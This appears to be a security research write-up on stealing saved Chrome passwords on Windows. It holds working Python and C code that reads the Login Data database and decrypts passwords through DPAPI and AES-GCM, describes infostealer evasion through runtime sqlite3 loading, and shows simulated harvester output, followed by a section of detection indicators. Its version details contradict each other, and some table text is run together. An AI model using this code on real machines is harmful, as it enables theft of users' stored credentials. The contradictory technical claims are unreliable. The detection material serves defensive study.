Chrome stores passwords in a SQLite database encrypted with DPAPI (Windows Data Protection API), keyed to your Windows login session. Any code running as you can call the same decryption APIs and read plain-text passwords out. Chrome 127+ added App-Bound Encryption (look for APPPB prefixed keys), but the decryption key is still stored locally and readable by an elevated process in your session.
Chrome saves every stored password in a SQLite database at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data. The passwords are encrypted — but with keys that Chrome itself must be able to retrieve. Understanding that encryption chain is the foundation of credential harvesting research.
SELECT origin_url, username_value, password_value FROM logins WHERE blacklisted_by_user=0
origin_url — the site the credential belongs tousername_value — stored in plaintextpassword_value — encrypted blob, prefixed with v10 or v20| Prefix | Chrome version | Encryption | Key source |
|---|---|---|---|
v10 |
Pre-80 | DPAPI (CryptUnprotectData) | Windows user's master key — no separate app key |
v20 |
80+ (App-Bound Encryption, Chrome 127+) | AES-256-GCM, then DPAPI over the AES key | Encrypted key in Local State JSON, decrypted by DPAPI |
Strip the 3-byte prefix, pass the remainder to CryptUnprotectData. DPAPI uses the current user's credentials to decrypt — runs on the victim machine as that user with no additional material needed.
# v10: DPAPI-only decrypt (Windows) if enc_blob[:3] == b'v10': in_blob = DATA_BLOB(len(enc_blob) - 3, cast(enc_blob[3:], POINTER(c_ubyte))) out_blob = DATA_BLOB() CryptUnprotectData(byref(in_blob), None, None, None, None, 0, byref(out_blob)) plaintext = string_at(out_blob.pbData, out_blob.cbData) LocalFree(out_blob.pbData)
Chrome 80 introduced an application-level AES key stored in Local State — a JSON file in the same User Data directory. The key is base64-encoded and DPAPI-encrypted. To decrypt v20 passwords:
Local State → parse JSON → extract os_crypt.encrypted_keyDPAPI prefixCryptUnprotectData → yields the 32-byte AES keyimport json, base64, sqlite3 from Crypto.Cipher import AES # ctypes for CryptUnprotectData — omitted for brevity def get_aes_key(local_state_path): with open(local_state_path) as f: state = json.load(f) enc_key_b64 = state['os_crypt']['encrypted_key'] enc_key = base64.b64decode(enc_key_b64)[5:] # strip 'DPAPI' prefix return dpapi_decrypt(enc_key) # CryptUnprotectData → 32-byte AES key def decrypt_v20(enc_blob, aes_key): iv = enc_blob[3:15] # 12-byte GCM nonce after 3-byte prefix ciphertext = enc_blob[15:] # ciphertext + 16-byte auth tag cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv) return cipher.decrypt(ciphertext[:-16]) # strip tag
Chrome locks Login Data while running. A credential harvester that runs as the same user can copy the file first (%TEMP%\logindata_copy) and open the copy. Alternatively, C implementations load sqlite3.dll at runtime via LoadLibraryA + GetProcAddress to avoid a static sqlite3 dependency:
/* Dynamic sqlite3 loading — no static dependency */ HMODULE hSqlite = LoadLibraryA("sqlite3.dll"); sqlite3_open_fn pOpen = GetProcAddress(hSqlite, "sqlite3_open"); sqlite3_prepare_fn pPrepare = GetProcAddress(hSqlite, "sqlite3_prepare_v2"); sqlite3_step_fn pStep = GetProcAddress(hSqlite, "sqlite3_step"); sqlite3_column_fn pText = GetProcAddress(hSqlite, "sqlite3_column_text"); sqlite3_column_fn pBlob = GetProcAddress(hSqlite, "sqlite3_column_blob"); /* Then proceed as normal SQLite usage — just via function pointers */
This pattern is ubiquitous in credential stealers and infostealers — it reduces the binary's import table entropy and avoids shipping sqlite3 statically.
Lab demo: DPAPI + AES-256-GCM extraction against a test environment. Chrome Local State decryption → Login Data SQLite → live credential recovery. MITRE T1555.003.
This is what the Python handler produces when run against a test Chrome profile. Simulated output showing the full decrypt chain (source: cred_man_proc_hollow_dll_inj/handlers/chrome_handler.py):
[*] Step 1: Read Local State
Path: %LOCALAPPDATA%\Google\Chrome\User Data\Local State
[*] Step 2: Decode & strip DPAPI prefix (DPAPIKEY → 5 bytes removed)
Encrypted key: RFBBUEJ... (base64)
[*] Step 3: DPAPI decrypt → AES master key
Master key: b22ffb59d2911893d42e430683469da0... (32 bytes)
[*] Step 4: App-Bound Encryption (Chrome 127+)
os_crypt.app_bound_encrypted_key present: YES
Prefix: APPPB (5 bytes), then DPAPI-wrapped
App-bound key: 8b0f1e309dc45d1629490e899e06e753...
[*] Step 5: SQLite — Login Data
Path: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
Query: SELECT origin_url, username_value, password_value FROM logins
[*] Step 6: Decrypt password_value (v10 prefix → AES-GCM-128)
Version: v10
Nonce: a3f1b2c4d5e60718293a4b (12 bytes)
Ciphertext (44 bytes): 7f3a9b2c...
Plaintext: hunter2secretpassword123
[+] Extracted credential:
URL: https://example.com/login
Username: [email protected]
Password: hunter2secretpassword123
[*] AES-GCM round-trip verified: True
MITRE: T1555.003 — Credentials from Web Browsers
Chrome 127 introduced App-Bound Encryption. The AES key is no longer decryptable by any process running as the user — it's wrapped by a system service (IElevator COM interface) that validates the calling process is actually Chrome. The DPAPI-only path for the AES key is gone in this model.
Stealers running as the user can no longer silently recover the key without either:
IElevator validationFile access IOC: Any process other than chrome.exe opening Login Data or Local State is anomalous. Sysmon Event ID 11 (FileCreate) for Login Data copies in %TEMP%.
DPAPI IOC: CryptUnprotectData calls from non-browser processes on DPAPI blobs that contain Chrome credential patterns. ETW provider: Microsoft-Windows-Security-Auditing, DPAPI activity.
Process IOC: Unusual processes loading sqlite3.dll (Sysmon Event ID 7 — ImageLoad). SQLite access from script interpreters (python.exe, powershell.exe) against user profile paths.
Network IOC: Outbound connections shortly after credential access, especially to non-CDN endpoints. DNS queries to unusual subdomains shortly after a sqlite3 open call.
The same SQLite + DPAPI pattern applies across the Chromium family:
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data — identical schema%LOCALAPPDATA%logins.json + key4.db (NSS), uses a master password instead of DPAPIDefenders auditing for credential harvesting activity should cover all Chromium-based browsers, not just Chrome. The extraction technique is identical across them.
MITRE ATT&CK: T1555.003 (Credentials from Password Stores: Credentials from Web Browsers), T1059.001 (PowerShell)